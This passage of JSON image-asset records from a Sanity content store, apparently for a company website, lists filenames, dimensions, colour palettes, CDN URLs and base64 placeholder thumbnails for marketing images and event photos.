h","background":"#fac277","foreground":"#000","population":0.53,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#973101","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":14.39,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"General social media image template Orange.png","path":"images/sczeoy4w/production/967a7ceda4cd01882eb2967aa950b410d758fb89-1200x628.png","sha1hash":"967a7ceda4cd01882eb2967aa950b410d758fb89","size":181461,"uploadId":"EWTtoAGaN6eMvI4oq3STxf9IOHWSI65m","url":"https://cdn.sanity.io/images/sczeoy4w/production/967a7ceda4cd01882eb2967aa950b410d758fb89-1200x628.png"} {"_createdAt":"2024-09-17T13:55:15Z","_id":"image-dcd797db26f52e8946444e6b49386a29a1c2a800-24x24-svg","_rev":"3BkpXWFF0nWkiHpZ6qCl9W","_type":"sanity.imageAsset","_updatedAt":"2024-09-17T13:55:15Z","assetId":"dcd797db26f52e8946444e6b49386a29a1c2a800","extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"eKM.b,fQ1efQ1LfQ}CfQw_fQ1efQw_fQwxfQ65fQJ9fQ1LfQ$hfQNc","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":24,"width":24},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAACTklEQVQ4jYVVPWtUURA9m00gaso0u4XYiCjWwRSSBYstQojnrqQT9HcEskXAf6AIpksb0iULtopFCn9BOmvLtPfo3Jn33n350IXHW2bvnHtm5sxZiIDeAHoNlO8JyPbeAXLqYtqLeLr2sHvKRzNAu5HsoEMR90WsihhoeiNxoIRVJdyzs7kCd8D6VmJFxFMReyK2RYyyA/iFfmYtJ7xUwnYmxu1FPcBZC/ZcxDwT30WciXgvTxrEY+dGSpgr4YsSNlpCbcnsgR1k4qeIKxG/RSxEvAumw0h+KOKTEs6VsNVUlytAu/mxiP1MfBVxIeKXiMtM/BBxIuKtiPUo2wGJc7EDrBkuiXgl4kjERxGHmfgm4tTKF3Es4oOIJ5F8K0NVPbSmPxMxE7EpYidK/SzihYhpiSWMg0kDuLgLEDmVHppU7D0ph72sRxbLxAMlLLcM038AVessYRIMLcnYNE0f9Bj6mUmb2/SxB+jvDtCS+2D1UIzhpNZhN5j+OlkZdtgZemy5lO0tsTZ4yX55aVe07R+AFcMyEB/WNAZlA1tEbLMM1Ac7uAvQNNYxNMm4dI5DSqchrcOQ2lFIb+m2fd4K0RbAcJz1EPdJiP0yxH8Ry7Afy+EMr9lSn6HJytduFGu4iLW8ijU9iLWtetif9EYs/jxAmvW0ZxyGcRYGMm/B3GCqocT4iyWZNZlFEWu1dRX5+CVmbWZxZnUrN/e5SfDgsJinmWhnWX7GzNZj9ptt1tBMueTtug3WFtYfTmVLZv8Ng5Jsfw91m8zp7W/kL8M/65FCAa+QfAkAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#944c44","foreground":"#fff","population":0.17,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#840404","foreground":"#fff","population":0.17,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f94d06","foreground":"#fff","population":6.6,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#902508","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f4643c","foreground":"#fff","population":0.17,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#b4745c","foreground":"#fff","population":0.17,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f94d06","foreground":"#fff","population":6.6,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"switch-vertical-01 (1).svg","path":"images/sczeoy4w/production/dcd797db26f52e8946444e6b49386a29a1c2a800-24x24.svg","sha1hash":"dcd797db26f52e8946444e6b49386a29a1c2a800","size":259,"uploadId":"SBq55eJBv9ZaXe8sqTLItsyISlJn3KKI","url":"https://cdn.sanity.io/images/sczeoy4w/production/dcd797db26f52e8946444e6b49386a29a1c2a800-24x24.svg"} {"_createdAt":"2023-09-28T09:27:54Z","_id":"image-442fe4a20561e1bbb9c81d0fbe5cf75e5e1bce4e-1920x1080-png","_rev":"kaQ4ZWos4gq6sBfd81CtJ3","_type":"sanity.imageAsset","_updatedAt":"2023-09-28T09:27:54Z","assetId":"442fe4a20561e1bbb9c81d0fbe5cf75e5e1bce4e","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M67-U3NIM]?80P?1pGRhiyJU9bs.e.NI=_","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7777777777777777,"height":1080,"width":1920},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAAsTAAALEwEAmpwYAAACw0lEQVQokV3Sa1MaBxjFcT5BpgYFhAUWlgWEXW4qgxEEIqKmCcpNBCl3WYQNlQRik8a2jmY6NW1mOv3A/07ITF/05fPi/GbOmcdgtFaxe35ACvaRVQ1ZHSMFdeTQNb7IHH/0J+Twe8TAB5wbH3Fs/IKsLNjebBMNn+PwDFhzXLFq1zCJrzGYnXWUzRHPMm9JpOck0jekcrek83fs5e9JHXxid/939g4/k8x/IbLziXTyLXplwPCkSSzSxSxeseoYseacYLC6L9jJzHhV/o2jwq8cFe4onT9SPP+Lw8If7O4/EE8/kDx4ZPfgC7HdB04P5/ypXXHf7pBN9LC6J0vMJOoYLM460cSETP6G5P4NqYOf2f/+juzxPVupWyR1gd23QAy8RwzeIoc+Unnxjn8mUx4HQ15kdRzea9bEKRb3GwxGawWXp44/0MQfaLOhDFDCI5TwGL8yQZR1LK4fMbvesO6Z440tOCvN+Xs24/N0Sun0Gk/oNWaX/g002Ur45RJbSoUttUZMvWA73CIe6bAd7qMqGnZpsgy4Qzqbz3VOazrv9Gtm2oTjkx5KooPgvfxWec1WweOtoSoNQmoLVe0SDg8IhS4JBIZ4fBrroobFPSSYuCT5cki+qlFu6byqDUge14mmz5FCHcyuCYYVSxmLUMXmaiBIbWzS15EHrLs0zOIIk3PEqv0Sq9wnnOqTPhlyUB2Tr43JFvvsHDeIZSrIsRZWeYrBaC7iFkr4vE2kwCVWqY9R6GIUBstXWLWPMAp9BF+XyF6H5Mseucp4iaZPesTzNZTdAp7YBYJ/9hU8RRSKeOUm0sYAq7v3P1Bb3nZfCzXZIJ5vkC1q5KpX7BW6xJ6X8cWPkKJ1nMEFhiemIt+ZSqxYqqys11mxNnlq6/wHGu1DngptBN8FwZ0ztnI1suURubMxqUKXSKaIZzO3BF3qB/4FBL6IKP65sC0AAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#39495b","foreground":"#fff","population":9.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#141c6c","foreground":"#fff","population":9.31,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#141c6c","foreground":"#fff","population":9.31,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c1a8aa","foreground":"#000","population":8.35,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#9199e7","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5a657c","foreground":"#fff","population":4.33,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1b247e","foreground":"#fff","population":7.11,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"GCustom Devrel video thumbnail template Dark blue (3).png","path":"images/sczeoy4w/production/442fe4a20561e1bbb9c81d0fbe5cf75e5e1bce4e-1920x1080.png","sha1hash":"442fe4a20561e1bbb9c81d0fbe5cf75e5e1bce4e","size":952432,"uploadId":"NXGflUcJ2MAz4QOZocE2PMZl0zBympL3","url":"https://cdn.sanity.io/images/sczeoy4w/production/442fe4a20561e1bbb9c81d0fbe5cf75e5e1bce4e-1920x1080.png"} {"_createdAt":"2023-08-28T09:16:51Z","_id":"image-4373b04e5a6dca9a1508a1a72e0e165e29d5b58a-3295x1724-png","_rev":"n4o7HM4ybKf4O57IbVMbwH","_type":"sanity.imageAsset","_updatedAt":"2023-08-28T09:16:51Z","assetId":"4373b04e5a6dca9a1508a1a72e0e165e29d5b58a","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M8976=0c]etm9H}f5^=WJ,RPRBSt$jJX$w","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9112529002320187,"height":1724,"width":3295},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAB5LAAAeSwG9LhMsAAAClklEQVQokUXSa09SAQCAYf6BlgqCHDhHbgcOEAIJR7lp5HRlKpaScfF+BW8pyUgta11n91Zumq21ymx9afX33ha2+gPP3g+vprbxMnppBJM9j8k+juScQXLO02SdQ2ueQysW0EkrNFrWMVjLGOybmOVbJFrWKMVGeNnZzWFnnG/JEL+6fGhO6S9jtGSwKBM4vLMogUVc/mVEuYBWnKfB/B/UW8sYHVt4ww8YvfqE50t32Z8q8PbSAIfnEhwlVTS1ukF0pjSCLY8oT9DsmqVZWcAsFzDaigiOFQTHGgZbqQqK7gpdfTvc3nzG+6fPebNd4V7mGrvJHvY6kmhqGwcRrFnkM9Mo/gVc/mK1UAmu4WndwKduogQ3MTvLGGxlLN5VunonKBdneFUqcruYp5C+xHqyj63oEJrThivY3OME1EVao6u0xkqEYmVC8QrhxDZq5x2C0R1k/zaisoX1zHUiHUMUhvvZnUyzkevnau8FhmOjDIbWT0BJzuMOzOELLdKiruJvK+Fv28DfXiEQ2SYQ2aGl/T6e8C4e9SGRzmWmrmS5N57hejbHhe55wuodfGdfo6nRDdIgDNNkySLYxjA7phCd80iuIpJrmWb3OnbfTbzhRwTje7R1faAndcBo5hFL+Qq59A6x8y9Qwu9whj6iqdEOoNWn0Atp9GIOrSlPvTBGvWmKBvMcOqmI0X4DOfAH3Kej95hU9idDuW/0pvZJ9Bzgj39EUT+hqF/Q1On6sQopFDmL3TNNk3WSOuMYdcZJ6k2z1W2a/oKB+D6Ji1+5mP7B+YFjznYc4ot+wNv+CXfbEe724xNQEgZw2DNYXJMYLBP/wAbTLFqx+Bd8XC2MdH8h2nNES+wAR3APufU9ivq5inki3/kNtbF2gR9fIjIAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2d3165","foreground":"#fff","population":0.49,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#04246c","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#2b39a3","foreground":"#fff","population":9.83,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#8a95c4","foreground":"#000","population":0.61,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#6670c4","foreground":"#fff","population":1.67,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#aa6a6b","foreground":"#fff","population":8.87,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#2b39a3","foreground":"#fff","population":9.83,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Hankcock_startup_lounge_social_media copy (2).png","path":"images/sczeoy4w/production/4373b04e5a6dca9a1508a1a72e0e165e29d5b58a-3295x1724.png","sha1hash":"4373b04e5a6dca9a1508a1a72e0e165e29d5b58a","size":1466786,"uploadId":"JnyAqtQO4NP4g6U2s4Efuu8etsptFgoQ","url":"https://cdn.sanity.io/images/sczeoy4w/production/4373b04e5a6dca9a1508a1a72e0e165e29d5b58a-3295x1724.png"} {"_createdAt":"2023-08-28T09:17:13Z","_id":"image-d52fd47fbf7fb3cef08a9980005bb23b43f1e256-3295x1724-png","_rev":"n4o7HM4ybKf4O57IbVMeTD","_type":"sanity.imageAsset","_updatedAt":"2023-08-28T09:17:13Z","assetId":"d52fd47fbf7fb3cef08a9980005bb23b43f1e256","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MCBVrP0z=V,,18Nxof=y0$}krAEU-3Ob$d","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9112529002320187,"height":1724,"width":3295},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAB5LAAAeSwG9LhMsAAACtUlEQVQokV3Ry05TCQCA4b6AqCm92tN6OOdISwuUoVDCML1A6Q1k2h5uGkqhFAqlXHpUHKSCHYVRUYfR0Wg0EWNcT3SMC1cmxuUsdGt042aW8wa/CbqaF/jyJ7/uiHkYi3gau5LDfiKP6CoiukockxcwOhYwOMqYxApm6RwWeR2rUsUin6fevoi9YYbJ/hzPKyN8/i3Of3shdEctwwhyFsVTwOldwONbwd1eQXQtYRJLmMQlzJKGRV7DqnwHpTX0wjxmxxSJ7hl+n57m9doo/2wNfQeVLC5vEY+vTHPHCs0dGq42DaXlDI3e87h+qCK3VLE1bmBVNhCUsxyX55CUGTrbK+RP/kItq7GTW0ant47g8s7S03eWYHSdQP8FAv0XCUQvEYheJpy4Sm9yF99POzQ0b+FwVmlvO8NIuEAuNstAX4144gGpkw+Jx+6hMwhjeP2L9A9sEBvaIv5zjWR6m2T6KvHUdZKZmyQze4TiN2jt2sbddpFUeJXr2RzPyhPUCldQx18QVV8THHyBTn9sFGdrAX+gQnf4HD196wSjmwRjtYPCQGyHUGKXUOIWncFdOvyb5JNlnpbGeVdVeaRVmZx6SXL8DZH0K3SHTSpG+zg2efLgssM5R4N7EcmzguTRkFvW8HRexh++g7/3AeHeXbThMn9rKu9rA9wvlRgcvEdn3z7eH/9Ed9iYxmDOYBbGMDuyGOw59LZp6oVZDPZ5TOIycuuvdEX2iaSeo6qPuZJb5e2FIT5ux7iTn8DXrmGWVjA5ZtHpTSlkIYPbmaWxuYhNLhyAeluBevs8xuPLiO5NfKGH9A79xanRff4oLvOhluDLtQi3p8bwNOWpM52izqh+A0UhTeOJCaSmAlZp5n/gEoJzHY9/j67IE4ZTd7m/UOTTTpR/b4S5nVNpck5wyDhCnTHDV0Q9ftx+fCUfAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#404572","foreground":"#fff","population":1.15,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#041a6d","foreground":"#fff","population":0.04,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#e08845","foreground":"#000","population":9.92,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#8b94bd","foreground":"#fff","population":0.24,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e08845","foreground":"#000","population":9.92,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a0685b","foreground":"#fff","population":2.73,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ce690e","foreground":"#fff","population":0.03,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Hankcock_startup_lounge_social_media copy (1).png","path":"images/sczeoy4w/production/d52fd47fbf7fb3cef08a9980005bb23b43f1e256-3295x1724.png","sha1hash":"d52fd47fbf7fb3cef08a9980005bb23b43f1e256","size":587545,"uploadId":"lIdV8yivTMQGvuKIOzLc1Hjs1o86TART","url":"https://cdn.sanity.io/images/sczeoy4w/production/d52fd47fbf7fb3cef08a9980005bb23b43f1e256-3295x1724.png"} {"_createdAt":"2023-12-11T10:03:34Z","_id":"image-83f1f94520387df8d0eafcc3f6961b9f18e93bb8-5062x3368-jpg","_rev":"E7yqJcdu3p6SmgvthXDW0e","_type":"sanity.imageAsset","_updatedAt":"2023-12-13T10:35:24Z","altText":"Yen Pham party in the Aiven Crab Week 2023","assetId":"83f1f94520387df8d0eafcc3f6961b9f18e93bb8","description":null,"extension":"jpg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.5029691211401426,"height":3368,"width":5062},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAANABQDASIAAhEBAxEB/8QAFgABAQEAAAAAAAAAAAAAAAAABgAH/8QAJRAAAQMDAwMFAAAAAAAAAAAAAgEDBAAFEQYHEiFBURMUIjGB/8QAFgEBAQEAAAAAAAAAAAAAAAAAAgAB/8QAGxEAAwACAwAAAAAAAAAAAAAAAAECERITQVH/2gAMAwEAAhEDEQA/AMb0zpRq7Qkcjl6kg/iDSdVIqVTdIlHixpMq3jH9qPB9ou6r0RUojt/fX7TcYzkUEQxNBzn7yvik252rLiV+AeaIBiPIey4rMPDaFySmorsc2LbXTE60x5BCckzHJGp9/H5VWKHf7s24aR577DarngBYRKqSqfC0o//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#472f24","foreground":"#fff","population":7.23,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#683210","foreground":"#fff","population":0.12,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#b8bbc1","foreground":"#000","population":12.17,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b8bbc1","foreground":"#000","population":12.17,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#74ace3","foreground":"#000","population":0.07,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#b67371","foreground":"#fff","population":1.96,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#145fa9","foreground":"#fff","population":1.77,"title":"#fff"}}},"mimeType":"image/jpeg","opt":{"media":{"tags":null}},"originalFilename":"yen-pham-crab-week.jpg","path":"images/sczeoy4w/production/83f1f94520387df8d0eafcc3f6961b9f18e93bb8-5062x3368.jpg","sha1hash":"83f1f94520387df8d0eafcc3f6961b9f18e93bb8","size":9587570,"title":null,"uploadId":"ayNybVwSyCJQqc4JmWHORtd6viO7uoM4","url":"https://cdn.sanity.io/images/sczeoy4w/production/83f1f94520387df8d0eafcc3f6961b9f18e93bb8-5062x3368.jpg"} {"_createdAt":"2023-10-24T09:23:31Z","_id":"image-5a28e31f9035059a822ca0b004149ab2f8d56e16-1567x844-png","_rev":"kfl1F24L65Nzg04H5LPIcd","_type":"sanity.imageAsset","_updatedAt":"2023-10-24T09:23:31Z","assetId":"5a28e31f9035059a822ca0b004149ab2f8d56e16","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M96RZ-%KMujZog?dtQM_WYkDjqoNoKoMjY","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAABcRAAAXEQHKJvM/AAACYklEQVQokS2ReU8aQQDF9wsoezA7Ozu7s7swHK1WaWsNFlGLBNGi0gUKi1A5pVwKpAqesZA0NClpNL0Sv2yrNnn//t77JY8RcAoZWezMK7SoearEUyeepv6045w9pnMDt+/yycuR5/mQePtAawJSA1pNwAVWsmwwyag092KptRz6FFzvB8OngfXzpbXLQHgY2hpHdiaR3ZuN+I/Q29t5/1BxtwAp3/OkzislTs4xdKa0GjmOmdcxc7gVH27sjKK7X2LJiWndpnK/Etk/idydmb0Lb098/r7iqkOjg5wn0OiIeptxzZZev+lFYhdb8c+b8VFkZxSNj7eTk3jmxrR+mtnfib27TfNXIPx13n+qebuy6xS7z2U6wO6re23vfNW32FpY7r4KHi8E+4srF/6166XQaDk8Xo1+W4l+9wXGxswZpofQaEKjLeptaBzJdMBwKCnI74FqQS0vGUXkqGLaUGhbcXc174kxc2bMXqnec+joCWqNxwVezvNyXlCKotZgpkVzCphTYtIG0xzK8bggKFW7WgdaS9SPoKOH6ADRPjSOBKXMyXke7z8GkBpjgyYLE6yU4pD1WGlXq4DURb0l6g1Rb0JHR3L0RL3J430O7dnVA6DVBaUkKGVGQu90ktJpHjsLQN3n8X8YaA1BrdyLqGVAPtrVKodyLLIerq7z+AMrZRgHMedcmTlf1fWshowSICVRO4B6ExotQCo8zglKHpCKXS2xksVK6YfNok1KT4smQ4yMg2ad3oLuKSu0gl011d0knkPN21XdbdlZkZ0VTBuiVmaltA2mOLTHImsaJv/BfwHYh54Wy62pUQAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#353167","foreground":"#fff","population":0.15,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#04176f","foreground":"#fff","population":0.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#d1d4e8","foreground":"#000","population":5.69,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d1d4e8","foreground":"#000","population":5.69,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8494c9","foreground":"#fff","population":0.03,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#676e93","foreground":"#fff","population":1.33,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#242e90","foreground":"#fff","population":2.84,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"tensorflow_lab.png","path":"images/sczeoy4w/production/5a28e31f9035059a822ca0b004149ab2f8d56e16-1567x844.png","sha1hash":"5a28e31f9035059a822ca0b004149ab2f8d56e16","size":149695,"uploadId":"7mSqkees4BHq16N0ZOnydQU6nf80hOw1","url":"https://cdn.sanity.io/images/sczeoy4w/production/5a28e31f9035059a822ca0b004149ab2f8d56e16-1567x844.png"} {"_createdAt":"2024-09-17T14:09:07Z","_id":"image-e7dfbdbf97bd43906a2b6a8ed4390d1b61633f21-834x1006-png","_rev":"8aULdKeF9Ym2KV9LDBzhNR","_type":"sanity.imageAsset","_updatedAt":"2024-09-17T14:09:07Z","assetId":"e7dfbdbf97bd43906a2b6a8ed4390d1b61633f21","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"e~MtBrR$WXjbayRjayjuWBa|~qjKaebGjutQa#WUjujue=bFoMayWV","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":0.8290258449304175,"height":1006,"width":834},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAYCAYAAAD6S912AAAACXBIWXMAABYlAAAWJQFJUiTwAAAFbklEQVQ4jY2VeUxUVxSHX1Qo7oCIGhRZbQURq2UZYHBBZWAQxAUF0RGDiokLi6ClKG5FraVqq9VoVYqIg2ySuJXQ1gQXqqVarbVqpYAsAkaQzYGZ4Wve02ltYpu+5Ms59917fu/c98fvCC9evODZs2c0NDTQ2Ngo5SLNzc20tbXR0dEh0d7eLiG+E/daWlro7u6mp6dHQqfTodV2I9x7/ISrt3/j3qNKGhobpYNi4cuXL+nq6pKKRMTcgLin0WgkkZ7Xgnq9Hp1Oi5B58RqbjxaSV3Kdquoamp8/p7Oz8x+H/x96qUYouFzO3tPfcL60nOonNdJ1W1tbpQ4M3b2tSwPd3d1otVqpwx69HuFhRRXld+5z99cHVFRUUFlZSXV1NbW1tdTX17+irk5a19bUvoqvEfeampqk39TZ0UmXRoNQmJ/PGbUadXY26lN/cyb7NHmn1ORnqSnIyqHgpMgZzmbnc1ZdQKG6gLN5RVw4V8y3ly5TWnKFG1duIARNn0GIIoDQQCXzlEEsUAazMGAW4X6BRHorWOYZyErZbFZ7LWDdZBXxAatImBtLbMhqokPWEBOxiQ8X7WS76hP2xX2B4GBmgfMwKyZZ2SKzssN3hD3TLO1RmDowp+8YlphMIGaAL7GmQSSMWMx6l1iSPZNJHBdLuEs8i+XpbJiSwfbpGaTPP4bg2NcUV+OhyN8ZicLEllnGtswzdmDp4PGsHS5ns00InzpH85lzHB87p7BNtpd9XgdJd04nzu0w8YpzbFFeYVtgMbvn5SI49BuCR79RKAc7sdjMjeVmMlZZeBM7xp8U2UJ2yKPZM2M9u6ZtIslzG0ke6Xw+4SAHJ55gd/BFdi29yY6wMrYoz7N9zmkEmyHD8HZ0Ye4HU1C5+7NyUgBrPUJImLqQjf5LWecRTvR7YaiclhHhGkesy1YOOO3nqN8Zjq25RsamO2SuLSc78jsyw4sQbKxGMl0+mYjgUCKVwagUwayatYC4UBVrFJGEjfXHz9wH3+EBzLKPIsl+I2ljdpI2+QiHVEVkxZdSlPgTxTFlFCy5iGBtZcVUuS+hyiBCZwawwF/J4sDZRCnnEzl1NtNsPXEd5ILrUG9mj1pIsnUSa+1TiB6XylbZfr4Mzud4xPd8FVbMnsizCBaDzbCzssbZ1pFxNg642jjyvs0Y3OyccLdzwWmIA9b9R+NsOoFIyzASR24k3CGZcMckEp3TSJEdJc7nBDHyw6yYfwLB1GQAlkaDsDIyY4SRKRZ9+mPeuy8WffoxzHgQw4zMsDQeilv/8cRZLCXeOplQuwTmO6xnhctOFk1MJ8AplZnjNjBvZtorQYs+AxneZzCWvQdi3rsfpr36YtrLRIpmvfszwsickIE+HHLcwQH3I0Q5JaOwWUXQu8n4j03BZ3QM3rZRzJStQZB7eePjLsPHzRMvCQ983D2Re8jw9fCSCPKcTppfAlejiyn76A77lmcTpUxFFbiDFcp0VDNSiVAksiwyFSE7R83XWSc5cTKT45kZHMvMIPNUFjlqNbk5OeTl5nKp8Bx3L/xI49WnNN1u4+61Kkou3eR8URlFeeXk5lynsLCUkpIfECqfVPGo4jGPKiv4veoPKqqrqKp5Ql1dneQmoot3tLej7dKi69aj0+rRavVourS0tGmoaeqkqqGDxpZOOjo1CA/u/cyjh/epr6/jefNzxJEg+qEB0b21Oi1ve/Q90KXtQSN+RPfKtYVbZaXc/+UWz5oapdkhurVo8WI05P/l3rzGMFeE2upKntbV0NbaKgkYRA2Ia9GZJUf+V/sXNcUOdQhiwZvXNOTidBOj6MbiGUOX4mOIb+Z/CYozQZwfBgwTTezKsH5bh/8m+CcFr2wk7y66kAAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#595150","foreground":"#fff","population":0.36,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#580d34","foreground":"#fff","population":3.17,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#580d34","foreground":"#fff","population":3.17,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c4c7c9","foreground":"#000","population":2.19,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d78fda","foreground":"#000","population":1.08,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#51497c","foreground":"#fff","population":0.46,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#cc27a1","foreground":"#fff","population":3,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Screenshot 2024-09-12 at 09.56.34.png","path":"images/sczeoy4w/production/e7dfbdbf97bd43906a2b6a8ed4390d1b61633f21-834x1006.png","sha1hash":"e7dfbdbf97bd43906a2b6a8ed4390d1b61633f21","size":681428,"uploadId":"mBtGJeCKTl1LnhYeUvlHv8JrqFaTxMHI","url":"https://cdn.sanity.io/images/sczeoy4w/production/e7dfbdbf97bd43906a2b6a8ed4390d1b61633f21-834x1006.png"} {"_createdAt":"2023-12-11T10:03:31Z","_id":"image-797fc05d4a7f615593587f90fedec36d4267632d-1349x2024-jpg","_rev":"E7yqJcdu3p6SmgvthXDV84","_type":"sanity.imageAsset","_updatedAt":"2023-12-13T10:35:07Z","altText":"Yen Pham playing jenga","assetId":"797fc05d4a7f615593587f90fedec36d4267632d","description":null,"extension":"jpg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":0.666501976284585,"height":2024,"width":1349},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAeABQDASIAAhEBAxEB/8QAFwABAQEBAAAAAAAAAAAAAAAACAcABP/EACgQAAIBAwIFBAMBAAAAAAAAAAECAwAEEQUGEiExQWEHEyJRFVNxsf/EABYBAQEBAAAAAAAAAAAAAAAAAAQCA//EAB4RAAIBBAMBAAAAAAAAAAAAAAECAAMEESETIjFB/9oADAMBAAIRAxEAPwA1tCSPiMY7/dd